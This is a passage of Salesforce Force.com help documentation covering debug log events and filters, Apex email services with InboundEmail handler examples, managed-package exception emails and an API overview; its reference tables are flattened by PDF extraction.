INFO and above INFO and above INFO and above INFO and above ERROR and above ERROR and above ERROR and above FINER and above FINER and above FINEST FINEST

1872

Develop

Setting Debug Log Filters

Event Name

Fields or Information Logged With Event


Number of SOSL queries Number of DML statements Number of DML rows Number of script statements Maximum heap size Number of callouts Number of Email Invocations Number of fields describes Number of record type describes Number of child relationships describes Number of picklist describes Number of future calls Number of find similar calls Number of System.runAs() invocations

Category Logged

Level Logged

METHOD_ENTRY METHOD_EXIT

Line number, the Force.com ID of the Apex Code class, method signature Line number, the Force.com ID of the Apex Code class, method signature. For constructors, the following information is logged: Line number, class name.

DEBUG and above DEBUG and above

POP_TRACE_FLAGS

Line number, the Force.com ID of the System class or trigger that has its log filters set and that is going into scope, the name of this class or trigger, the log filter settings that are now in effect after leaving this scope Line number, the Force.com ID of the System class or trigger that has its log filters set and that is going out of scope, the name of this class or trigger, the log filter settings that are now in effect after entering this scope

INFO and above

PUSH_TRACE_FLAGS

INFO and above

1873

Develop

Setting Debug Log Filters

Event Name

Fields or Information Logged With Event iterations

Category Logged DB DB DB

Level Logged INFO and above INFO and above INFO and above INFO and above

QUERY_MORE_ITERATIONS Line number, number of queryMore SAVEPOINT_ROLLBACK SAVEPOINT_SET SLA_END

Line number, Savepoint name Line number, Savepoint name

Number of cases, load time, processing Workflow time, number of case milestones to insert/update/delete, new trigger Milestone ID None Case ID Workflow Workflow Workflow

SLA_EVAL_MILESTONE SLA_NULL_START_DATE SLA_PROCESS_CASE SOQL_EXECUTE_BEGIN SOQL_EXECUTE_END SOSL_EXECUTE_BEGIN SOSL_EXECUTE_END

INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above FINE and above

Line number, number of aggregations, DB query source Line number, number of rows, duration DB in milliseconds Line number, query source DB

Line number, number of rows, duration DB in milliseconds

STACK_FRAME_VARIABLE_LIST Frame number, variable list of the form: Apex Profiling Variable number | Value. For

example:
var1:50 var2:'Hello World'

STATEMENT_EXECUTE STATIC_VARIABLE_LIST

Line number Variable list of the form: Variable number | Value. For example:
var1:50 var2:'Hello World'

Apex Code Apex Profiling

FINER and above FINE and above

SYSTEM_CONSTRUCTOR_ENTRY Line number, the string <init>() with System

DEBUG

the types of parameters, if any, between the parentheses


SYSTEM_CONSTRUCTOR_EXIT Line number, the string <init>() with System

DEBUG

the types of parameters, if any, between the parentheses


SYSTEM_METHOD_ENTRY SYSTEM_METHOD_EXIT

Line number, method signature Line number, method signature

System System

DEBUG DEBUG

1874

Develop

Setting Debug Log Filters

Event Name
SYSTEM_MODE_ENTER SYSTEM_MODE_EXIT TESTING_LIMITS

Fields or Information Logged With Event Mode name Mode name None

Category Logged System System Apex Profiling Apex Profiling Apex Code

Level Logged INFO and above INFO and above INFO and above FINE and above DEBUG and above by default Note: If the user sets the log level for the
System.Debug

TOTAL_EMAIL_RECIPIENTS_QUEUED Number of emails sent USER_DEBUG

Line number, logging level, user-supplied string

method, the event is logged at that level instead.


VALIDATION_ERROR VALIDATION_FAIL VALIDATION_FORMULA VALIDATION_PASS VALIDATION_RULE VARIABLE_ASSIGNMENT

Error message None Formula source, values None Rule name

Validation Validation Validation Validation Validation

INFO and above INFO and above INFO and above INFO and above INFO and above FINEST

Line number, variable name, a string Apex Code representation of the variable's value, the variable's address Line number, variable name, type, a Apex Code value that indicates if the variable can be referenced, a value that indicates if the variable is static None Element name, method name, return type Apex Code Apex Code Visualforce Visualforce Visualforce Visualforce Apex Code Visualforce Visualforce Workflow

VARIABLE_SCOPE_BEGIN

FINEST

VARIABLE_SCOPE_END VF_APEX_CALL

FINEST INFO and above INFO and above INFO and above FINER and above FINER and above INFO and above INFO and above INFO and above INFO and above

VF_DESERIALIZE_VIEWSTATE_BEGIN View state ID VF_DESERIALIZE_VIEWSTATE_END None VF_EVALUATE_FORMULA_BEGIN View state ID, formula VF_EVALUATE_FORMULA_END None VF_PAGE_MESSAGE

Message text

VF_SERIALIZE_VIEWSTATE_BEGIN View state ID VF_SERIALIZE_VIEWSTATE_END None WF_ACTION

Action description

1875

Develop

Setting Debug Log Filters

Event Name
WF_ACTION_TASK WF_ACTIONS_END WF_APPROVAL

Fields or Information Logged With Event

Category Logged

Level Logged INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above

Task subject, action ID, rule, owner, due Workflow date Summer of actions performed Transition type, EntityName: NameField Id, process node name
EntityName: NameField Id EntityName: NameField Id

Workflow Workflow Workflow Workflow Workflow Workflow

WF_APPROVAL_REMOVE WF_APPROVAL_SUBMIT WF_ASSIGN WF_CRITERIA_BEGIN

Owner, assignee template ID


EntityName: NameField Id, rule

name, rule ID, trigger type (if rule respects trigger types)
WF_CRITERIA_END WF_EMAIL_ALERT WF_EMAIL_SENT WF_ENQUEUE_ACTIONS WF_ESCALATION_ACTION WF_ESCALATION_RULE

Boolean value indicating success (true or Workflow false) Action ID, rule Email template ID, recipients, CC emails Summary of actions enqueued Case ID, business hours None Boolean value indicating result (true or false) Workflow Workflow Workflow Workflow Workflow Workflow

INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above

WF_EVAL_ENTRY_CRITERIA Process name, email template ID,

WF_FIELD_UPDATE

EntityName: NameField Id, object Workflow

INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above

or field name
WF_FORMULA WF_HARD_REJECT WF_NEXT_APPROVER WF_NO_PROCESS_FOUND WF_OUTBOUND_MSG

Formula source, values None Owner, next owner type, field None ID, rule

Workflow Workflow Workflow Workflow

EntityName: NameField Id, action Workflow

WF_PROCESS_NODE WF_REASSIGN_RECORD WF_RESPONSE_NOTIFY WF_RULE_ENTRY_ORDER WF_RULE_EVAL_BEGIN

Process name

Workflow

EntityName: NameField Id, owner Workflow

Notifier name, notifier email, notifier template ID Integer, indicating order Rule type

Workflow Workflow Workflow

1876

Develop

Debug Log Filtering for Apex Classes and Apex Triggers

Event Name
WF_RULE_EVAL_END WF_RULE_EVAL_VALUE WF_RULE_FILTER WF_RULE_INVOCATION

Fields or Information Logged With Event None Value Filter criteria


EntityName: NameField Id

Category Logged Workflow Workflow Workflow Workflow Workflow Workflow Workflow

Level Logged INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above

WF_RULE_NOT_EVALUATED None WF_SOFT_REJECT

Process name

WF_SPOOL_ACTION_BEGIN Node type WF_TIME_TRIGGER

EntityName: NameField Id, time Workflow

action, time action container, evaluation Datetime


WF_TIME_TRIGGERS_BEGIN None

Workflow

INFO and above

See Also:
What is a Debug Log? Monitoring Debug Logs Viewing Debug Logs About Apex Unit Tests About the Force.com Developer Console Developer's Guide: Force.com Apex Code Developer's Guide

Debug Log Filtering for Apex Classes and Apex Triggers


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

Setting Debug Log Filters for Apex Classes and Triggers


Debug log filtering provides a mechanism for fine-tuning the log verbosity at the trigger and class level. This is especially helpful when debugging Apex logic. For example, to evaluate the output of a complex process, you can raise the log verbosity for a given class while turning off logging for other classes or triggers within a single request. When you override the debug log levels for a class or trigger, these debug levels also apply to the class methods that your class or trigger calls and the triggers that get executed as a result. All class methods and triggers in the execution path inherit the debug log settings from their caller, unless they have these settings overridden. The following diagram illustrates overriding debug log levels at the class and trigger level. For this scenario, suppose Class1 is causing some issues that you would like to take a closer look at. To this end, the debug log levels of Class1 are raised to the finest granularity. Class3 doesn't override these log levels, and therefore inherits the granular log filters of Class1. However, UtilityClass has already been tested and is known to work properly, so it has its log filters turned off. Similarly, Class2 isn't in the code path that causes a problem, therefore it has its logging minimized to log only errors for the Apex Code category. Trigger2 inherits these log settings from Class2.

1877

Develop

Debug Log Filtering for Apex Classes and Apex Triggers

Figure 18: Fine-tuning debug logging for classes and triggers The following is a pseudo-code example that the diagram is based on. 1. Trigger1 calls a method of Class1 and another method of Class2. For example:
trigger Trigger1 on Account (before insert) { Class1.someMethod(); Class2.anotherMethod(); }

2. Class1 calls a method of Class3, which in turn calls a method of a utility class. For example:
public class Class1 { public static void someMethod() { Class3.thirdMethod(); } } public class Class3 { public static void thirdMethod() { UtilityClass.doSomething(); } }

3. Class2 causes a trigger, Trigger2, to be executed. For example:


public class Class2 { public static void anotherMethod() { // Some code that causes Trigger2 to be fired. } }

To set log filters: 1. From a class or trigger detail page, click Log Filters. 2. Click Override Log Filters. The log filters are set to the default log levels. 3. Choose the log level desired for each log category.

1878

Develop

Using the Apex Tools

To learn more about debug log categories, debug log levels, and debug log events, see Setting Debug Log Filters.

See Also:
Viewing Apex Classes Viewing Apex Trigger Details

Using the Apex Tools


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To use the Apex Deployment Tool: Author Apex

Download the Force.com Migration Tool if you want to use a script for deploying Apex from a Developer Edition or sandbox organization to a Salesforce production organization using Apache's Ant build tool. To download the Force.com Migration Tool: 1. Click Your Name > Setup > Develop > Tools. 2. Click Force.com Migration Tool. 3. Save the salesforce_ant.zip file and unzip its contents to the location of your choice. The salesforce_ant.zip file contains the files you need to run an ant task that exercises the compileAndTest API call, including: A Readme.html file that explains how to use the tools A Jar file containing the ant task: ant-salesforce.jar A sample folder containing: A codepkg\classes folder that contains SampleDeployClass.cls and SampleFailingTestClass.cls A codepkg\triggers folder that contains SampleAccountTrigger.trigger A mypkg\objects folder that contains the custom objects used in the examples A removecodepkg folder that contains XML files for removing the examples from your organization A sample build.properties file that you must edit, specifying your credentials, in order to run the sample ant tasks in build.xml A sample build.xml file, that exercises the deploy and retrieve API calls For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide. You can also download the Force.com IDE to help you write Apex in projects that mirror your organization. Using this tool, you can also compile and test the code you write, synchronize changes between the organization and project, and deploy your code to another organization.

1879

Develop

What are Email Services?

Note: The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but is not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement.

See Also:
Apex Code Overview Developer's Guide: Force.com Apex Code Developer's Guide

What are Email Services?


Available in: Enterprise, Unlimited and Developer Editions Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed To configure Apex email services and email service addresses: Modify All Data To create Apex classes: Author Apex

Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound email. For example, you can create an email service that automatically creates contact records based on contact information in messages. You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages for processing. To give multiple users access to a single email service, you can: Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users. Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according to the user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's email address and creates records on behalf of that user.

To use email services, click Your Name > Setup > Develop > Email Services. Click New Email Service to define a new email service. Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that email service. Click Edit to make changes to an existing email service. Click Delete to delete an email service. Note: Before deleting email services, you must delete all associated email service addresses.

When defining email services, note the following: An email service only processes messages it receives at one of its addresses.

1880

Develop

Defining Email Services

Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have ten licenses, your organization can process up to 10,000 email messages a day. Email service addresses that you create in your sandbox cannot be copied to your production organization. For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email address. Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments) exceeds approximately 10 MB (varies depending on language and character set).

See Also:
Apex Code Overview Using the InboundEmail Object Defining Email Services Defining Email Service Addresses Developer's Guide: Force.com Apex Code Developer's Guide

Defining Email Services


Available in: Enterprise, Unlimited and Developer Editions Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed To configure Apex email services and email service addresses: Modify All Data To create Apex classes: Author Apex

To define an email service: 1. 2. 3. 4. Click Your Name > Setup > Develop > Email Services. Click New Email Service, or click Edit to change an existing email service. Specify the name of the email service. Choose the Apex class you want this email service to use to process messages. The Apex class you choose must implement the Messaging.InboundEmailHandler interface. For example:
global class myHandler implements Messaging.InboundEmailHandler { global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email, Messaging.InboundEnvelope envelope) { Messaging.InboundEmailResult result = new Messaging.InboundEmailresult(); return result; } }

1881

Develop

Defining Email Services

For information on the InboundEmail object, see Using the InboundEmail Object on page 1885. 5. Choose the types of attachments you want the email service to accept. The options are: None The email service accepts the message but discards any attachment. Text Attachments Only The email service only accepts the following types of attachments: Attachments with a Multipurpose Internet Mail Extension (MIME) type of text. Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

Messages with attachments other than these types are accepted, but the attachments are discarded. Binary Attachments Only The email service only accepts binary attachments, such as image, audio, application, and video files. Binary attachments have a limit of 5 MB per attachment. Messages with attachments that are not binary are accepted, but the attachments are discarded. All The email service accepts any type of attachment. Note: An email service can only process attachments if you configure the email service to accept attachments and use an Apex class that processes the types of attachments the email service accepts. Also, note that email services cannot accept inline attachments, such as graphics inserted in email messages. 6. Optionally, select the Advanced Email Security Settings checkbox to configure the email service to verify the legitimacy of the sending server before processing a message. The email service uses the following authentication protocols to verify the sender's legitimacy: SPF SenderId DomainKeys

If the sending server passes at least one of these protocols and does not fail any, the email service accepts the email. If the server fails a protocol or does not support any of the protocols, the email service performs the action specified in the Unauthenticated Sender Action failure response setting. Tip: Before selecting the Authenticate Senders checkbox, ensure that the senders that you expect to use the email service support at least one of the authentication protocols listed above. For information on these authentication protocols, see the following websites: www.openspf.org www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx

7. Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments) exceeds approximately 10 MB (varies depending on language and character set). 8. You can convert text attachments to binary attachments.

1882

Develop

Defining Email Services

9. Optionally, configure this email service only to accept messages from certain senders by listing their email addresses and domains in the Accept Email From text box. Separate multiple entries with commas. For example: george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service receives a message from an unlisted email address or domain, the email service performs the action specified in the Unauthorized Sender Action failure response setting. Leave this field blank if you want the email service to receive email from any email address. Note: You can also authorize email addresses and domains at the email service address-level. See Defining Email Service Addresses on page 1884. If both the email service and email service address are configured to only accept messages from certain senders, the email service only processes messages from senders that are listed in the Accept Email From text boxes on both the email service and the email service address. 10. Select the Active checkbox if you want the email service to be activated when you click Save. 11. Configure the failure response settings, which determine how the email service responds if an attempt to access this email service fails for the following reasons:
Over Email Rate Limit Action

Determines what the email service does with messages if the total number of messages processed by all email services combined has reached the daily limit for your organization. Salesforce calculates the limit by multiplying the number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have ten licenses, your organization can process up to 10,000 email messages a day.
Deactivated Email Address Action

Determines what the email service does with messages received at an email address that is inactive.
Deactivated Email Service Action

Determines what the email service does with messages it receives when the email service itself is inactive.
Unauthenticated Sender Action

Determines what the email service does with messages that fail or do not support any of the authentication protocols if the Authenticate Senders checkbox is selected.
Unauthorized Sender Action

Determines what the email service does with messages received from senders who are not listed in the Accept From Email text box on either the email service or email service address. The failure response options are: Bounce Message The email service returns the message to the sender or to the Automated Case User for On-Demand Email-to-Case, with a notification that explains why the message was rejected. Discard Message The email service deletes the message without notifying the sender. Requeue Message (Over Email Rate Limit Action Only) The email service queues the message for processing in the next 24 hours. If the message is not processed within 24 hours, the email service returns the message to the sender with a notification that explains why the message was rejected.

1883

Develop

Defining Email Service Addresses

12. To send error email messages to a specified address instead of the sender's email address, select Enable Error Routing and specify the destination email address in Route Error Emails to This Email Address. This prevents the sender being notified when email services cannot process an incoming email. 13. Click Save to save your changes, or Save and New Email Address to create email addresses for this email service, as described in Defining Email Service Addresses on page 1884.

See Also:
Apex Code Overview Using the InboundEmail Object What are Email Services? Defining Email Service Addresses Enabling and Configuring On-Demand Email-to-Case Developer's Guide: Force.com Apex Code Developer's Guide

Defining Email Service Addresses


Available in: Enterprise, Unlimited and Developer Editions Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed To configure Apex email services and email service addresses: Modify All Data To create Apex classes: Author Apex

To define an email service address: 1. Click Your Name > Setup > Develop > Email Services. 2. Choose the email service for which you want to define an address. 3. Click New Email Address, or click Edit to change the configuration for an existing email service address. To delete an email service address, click View and Delete. 4. In the Email Address field, enter the local-part of the email service address. Salesforce generates a unique domain-part for each email service address to ensure that no two email service addresses are identical. The generated domain-part appears to the right of the Email Address field. Tip: For the local-part of a Salesforce email address, all alphanumeric characters are valid, plus the following special characters: !#$%&'*/=?^_+-`{|}~. For the domain-part of a Salesforce email address, only alphanumeric characters are valid, as well as hyphen (-). The dot character (.) is also valid in both the local-part and domain-part as long as it is not the first or last character. Salesforce email addresses are case-insensitive. 5. Select the Active checkbox if you want the email service address to be activated when you click Save.

1884

Develop

Using the InboundEmail Object

6. Choose the Context User. The email service assumes the permissions of the context user when processing the messages this address receives. For example, if the email service is configured to modify contact records upon receiving updated contact information, the email service only modifies a record if the context user has permission to edit the record. Important: Choose a context user that has permission to execute the Apex class that the email service is configured to use. 7. Optionally, configure this email service address to only accept messages from certain senders by listing their email addresses and domains in the Accept Email From text box. Separate multiple entries with commas. For example: george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service receives a message from an unlisted email address or domain, the email service performs the action specified in the Unauthorized Sender Action failure response setting. Leave this field blank if you want the email service to receive email from any email address. Note: If both the email service and email service address are configured to only accept messages from certain senders, the email service only processes messages from senders that are listed in the Accept Email From text boxes on both the email service and the email service address. 8. Click Save to save your changes, or Save and New to define another inbound email address for this email service.

See Also:
Apex Code Overview Using the InboundEmail Object What are Email Services? Defining Email Services Developer's Guide: Force.com Apex Code Developer's Guide

Using the InboundEmail Object


Available in: Enterprise, Unlimited and Developer Editions

For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions. Note: For information on the Apex email service, see What are Email Services? on page 1880.

1885

Develop

Using the InboundEmail Object

Example 1: Create Tasks for Contacts


The following is an example of how you can look up a contact based on the inbound email address and create a new task.
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler { global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email, Messaging.InboundEnvelope env){ // Create an InboundEmailResult object for returning the result of the // Apex Email Service Messaging.InboundEmailResult result = new Messaging.InboundEmailResult(); String myPlainText= ''; // Add the email plain text into the local variable myPlainText = email.plainTextBody; // New Task object to be created Task[] newTask = new Task[0]; // Try to look up any contacts based on the email from address // If there is more than one contact with the same email address, // an exception will be thrown and the catch statement will be called. try { Contact vCon = [SELECT Id, Name, Email FROM Contact WHERE Email = :email.fromAddress LIMIT 1]; // Add a new Task to the contact record we just found above. newTask.add(new Task(Description = myPlainText, Priority = 'Normal', Status = 'Inbound Email', Subject = email.subject, IsReminderSet = true, ReminderDateTime = System.now()+1, WhoId = vCon.Id)); // Insert the new Task insert newTask; System.debug('New Task Object: ' + newTask ); } // If an exception occurs when the query accesses // the contact record, a QueryException is called. // The exception is written to the Apex debug log. catch (QueryException e) { System.debug('Query Issue: ' + e); } // Set the result to true. No need to send an email back to the user // with an error message result.success = true; // Return the result for the Apex Email Service return result; } }

Example 2: Handle Unsubscribe Email


Companies that send marketing email to their customers and prospects need to provide a way to let the recipients unsubscribe. The following is an example of how an email service can process unsubscribe requests. The code searches the subject line of

1886

Develop

Using the InboundEmail Object

inbound email for the word unsubscribe. If the word is found, the code finds all contacts and leads that match the From email address and sets the Email Opt Out field (HasOptedOutOfEmail) to True.
Global class unsubscribe implements Messaging.inboundEmailHandler{ Global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email, Messaging.InboundEnvelope env ) { // Create an inboundEmailResult object for returning // the result of the email service. Messaging.InboundEmailResult result = new Messaging.InboundEmailResult(); // Create contact and lead lists to hold all the updated records. List<Contact> lc = new List <contact>(); List<Lead> ll = new List <lead>(); // Convert the subject line to lower case so the program can match on lower case. String mySubject = email.subject.toLowerCase(); // The search string used in the subject line. String s = 'unsubscribe'; // Check the variable to see if the word "unsubscribe" was found in the subject line. Boolean unsubMe; // Look for the word "unsubcribe" in the subject line. // If it is found, return true; otherwise, return false. unsubMe = mySubject.contains(s); // If unsubscribe is found in the subject line, enter the IF statement. if (unsubMe == true) { try { // Look up all contacts with a matching email address. for (Contact c : [SELECT Id, Name, Email, HasOptedOutOfEmail FROM Contact WHERE Email = :env.fromAddress AND hasOptedOutOfEmail = false LIMIT 100]) { // Add all the matching contacts into the list. c.hasOptedOutOfEmail = true; lc.add(c); } // Update all of the contact records. update lc; } catch (System.QueryException e) { System.debug('Contact Query Issue: ' + e); } try { // Look up all leads matching the email address. for (Lead l : [SELECT Id, Name, Email, HasOptedOutOfEmail FROM Lead WHERE Email = :env.fromAddress AND isConverted = false AND hasOptedOutOfEmail = false LIMIT 100]) { // Add all the leads to the list. l.hasOptedOutOfEmail = true; ll.add(l); System.debug('Lead Object: ' + l);

1887

Develop

Using the InboundEmail Object

} // Update all lead records in the query. update ll; } catch (System.QueryException e) { System.debug('Lead Query Issue: ' + e); } System.debug('Found the unsubscribe word in the subject line.'); } else { System.debug('No Unsuscribe word found in the subject line.' ); } // Return True and exit. // True confirms program is complete and no emails // should be sent to the sender of the unsubscribe request. result.success = true; return result; } // The following test methods provide adequate code coverage. // There are two methods, one that does the testing // with a valid "unsubcribe" in the subject line // and one the does not contain "unsubscribe" in the // subject line. static testMethod void testUnsubscribe() { // Create a new email and envelope object. Messaging.InboundEmail email = new Messaging.InboundEmail() ; Messaging.InboundEnvelope env = new Messaging.InboundEnvelope(); // Create a new test lead and insert it in the test method. Lead l = new lead(firstName='John', lastName='Smith', Company='Salesforce', Email='user@acme.com', HasOptedOutOfEmail=false); insert l; // Create a new test contact and insert it in the test method. Contact c = new Contact(firstName='john', lastName='smith', Email='user@acme.com', HasOptedOutOfEmail=false); insert c; // Test with the subject that matches the unsubscribe statement. email.subject = 'test unsubscribe test'; env.fromAddress = 'user@acme.com'; // Call the class and test it with the data in the testMethod. unsubscribe unsubscribeObj = new unsubscribe(); unsubscribeObj.handleInboundEmail(email, env ); } static testMethod void testUnsubscribe2() { // Create a new email and envelope object. Messaging.InboundEmail email = new Messaging.InboundEmail(); Messaging.InboundEnvelope env = new Messaging.InboundEnvelope(); // Create a new test lead and insert it in the test method. Lead l = new lead(firstName='john', lastName='smith', Company='Salesforce',

1888

Develop

Using the InboundEmail Object

Email='user@acme.com', HasOptedOutOfEmail=false); insert l; // Create a new test contact and insert it in the test method. Contact c = new Contact(firstName='john', lastName='smith', Email='user@acme.com', HasOptedOutOfEmail=false); insert c; // Test with a subject that does not contain "unsubscribe." email.subject = 'test'; env.fromAddress = 'user@acme.com'; // Call the class and test it with the data in the test method. unsubscribe unsubscribeObj = new unsubscribe(); unsubscribeObj.handleInboundEmail(email, env ); } }

InboundEmail Object
An InboundEmail object has the following fields. Name
binaryAttachments

Type

Description

InboundEmail.BinaryAttachment[] A list of binary attachments received with the email, if any. Examples of binary attachments include image, audio, application, and video files.

ccAddresses fromAddress fromName headers

String[] String String InboundEmail.Header[]

A list of carbon copy (CC) addresses, if any. The email address that appears in the From field. The name that appears in the From field, if any. A list of the RFC 2822 headers in the email, including: Recieved from Custom headers Message-ID Date The HTML version of the email, if specified by the sender. Indicates whether the HTML body text is truncated (true) or not (false.) The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent email or emails' message-IDs. The Message-IDthe incoming email's unique identifier.

htmlBody htmlBodyIsTruncated

String Boolean String

inReplyTo

messageId

String

1889

Develop

Using the InboundEmail Object

Name
plainTextBody

Type String

Description The plain text version of the email, if specified by the sender. Indicates whether the plain body text is truncated (true) or not (false.) The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message IDs, and possibly the In-Reply-To fields. The email address that appears in the reply-to header. If there is no reply-to header, this field is identical to the fromAddress field.

plainTextBodyIsTruncated Boolean references

String []

replyTo

String

subject textAttachments

String InboundEmail.TextAttachment[]

The subject line of the email, if any. A list of text attachments received with the email, if any. The text attachments can be any of the following: Attachments with a Multipurpose Internet Mail Extension (MIME) type of text Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

toAddresses

String[]

The email address that appears in the To field.

InboundEmail.Header Object
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following fields. Name
name value

Type String String

Description The name of the header parameter, such as Date or Message-ID. The value of the header.

InboundEmail.BinaryAttachment Object
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object. Examples of binary attachments include image, audio, application, and video files. An InboundEmail.BinaryAttachment object has the following fields. Name
body

Type Blob

Description The body of the attachment.

1890

Develop

Using the InboundEmail Object

Name
fileName mimeTypeSubType

Type String String

Description The name of the attached file. The primary and sub MIME-type.

InboundEmail.TextAttachment Object
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object. The text attachments can be any of the following: Attachments with a Multipurpose Internet Mail Extension (MIME) type of text Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

An InboundEmail.TextAttachment object has the following fields. Name


body bodyIsTruncated

Type String Boolean String String String

Description The body of the attachment. Indicates whether the attachment body text is truncated (true) or not (false.) The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method. The name of the attached file. The primary and sub MIME-type.

charset fileName mimeTypeSubType

InboundEmailResult Object
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be successful. The InboundEmailResult object has the following fields. Name
success

Type Boolean

Description A value that indicates whether the email was successfully processed. If false, Salesforce rejects the inbound email and sends a reply email to the original sender containing the message specified in the Message field.

message

String

A message that Salesforce returns in the body of a reply email. This field can be populated with text irrespective of the value returned by the Success field.

InboundEnvelope Object
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields. Name
toAddress

Type String

Description The name that appears in the To field of the envelope, if any.

1891

Develop

Handling Apex Exceptions in Managed Packages

Name
fromAddress

Type String

Description The name that appears in the From field of the envelope, if any.

See Also:
Apex Code Overview What are Email Services? Developer's Guide: Force.com Apex Code Developer's Guide

Handling Apex Exceptions in Managed Packages


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed To create packages: To upload packages: To create Apex: Create Force.com AppExchange Packages Upload Force.com AppExchange Packages Author Apex

When you create a managed package for Force.com AppExchange, you can specify a user to receive an email notification when an exception occurs that is not caught by Apex. Uncaught exceptions can be thrown from: A Visualforce action or getter method A Web service method A trigger

The email that is sent has the following format: -------------------------------------------------------------------------------Subject: Developer script exception from CLASSNAME Apex script unhandled trigger exception by user/organization: USER_ID/ORG_ID EXCEPTION_STRING STACK_TRACE -------------------------------------------------------------------------------For example: -------------------------------------------------------------------------------From: Apex Application? <info@salesforce.com> To: joeuser@salesforce.com <joeuser@salesforce.com> Subject: Developer script exception from Gack WS? Date: Mon, 26 Nov 2007 14:42:41 +0000 (GMT) (06:42 PST) Apex script unhandled trigger exception by user/organization: 010x0000000rfPg/00Fx00000009ejj TestException.Test Exception?: Gack WS exception Class.Gack WS?.gackTestException: line 4, column 11 --------------------------------------------------------------------------------

1892

Develop

What are the Force.com APIs?

The number of emails generated for the same error is limited to 10 messages with the same subject in a 60 second period.

See Also:
Apex Code Overview Preparing Your Apps for Distribution About Apex Unit Tests Developer's Guide: Force.com Apex Code Developer's Guide

What are the Force.com APIs?


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To use the API API Enabled

Salesforce.com provides programmatic access to your organizations information using simple, powerful, and secure application programming interfaces.

When to Use the SOAP API


You can use the SOAP-based API to create, retrieve, update or delete records, such as accounts, leads, and custom objects. With more than 20 different calls, the API also allows you to maintain passwords, perform searches, and much more. Use the API in any language that supports Web services. For example, you can use the API to integrate Salesforce with your organizations ERP and finance systems, deliver real-time sales and support information to company portals, and populate critical business systems with customer information.

When to Use the REST API


The REST API provides a powerful, convenient, and simple Web services interface for interacting with Salesforce. Its advantages include ease of integration and development, and it is an excellent choice of technology for use with mobile applications and Web 2.0 projects. However, if you have large numbers of records to process, you may wish to use the Bulk API, which is based on REST principles and optimized for large sets of data.

When to Use the Bulk API


The Bulk API is based on REST principles, and is optimized for loading or deleting large sets of data. It allows you to query, insert, update, upsert, or delete a large number of records asynchronously by submitting a number of batches which are processed in the background by Salesforce. The SOAP-based API, in contrast, is optimized for real-time client applications that update small numbers of records at a time. Although the SOAP-based API can also be used for processing large numbers of records, when the data sets contain hundreds of thousands of records it becomes less practical. The Bulk API is designed to make it simple to process data from a few thousand to millions of records. The easiest way to use the Bulk API is to enable it for processing records in Data Loader using CSV files. This avoids the need to write your own client application.

1893

Develop

Downloading Salesforce WSDLs and Client Authentication Certificates

When to Use the Metadata API


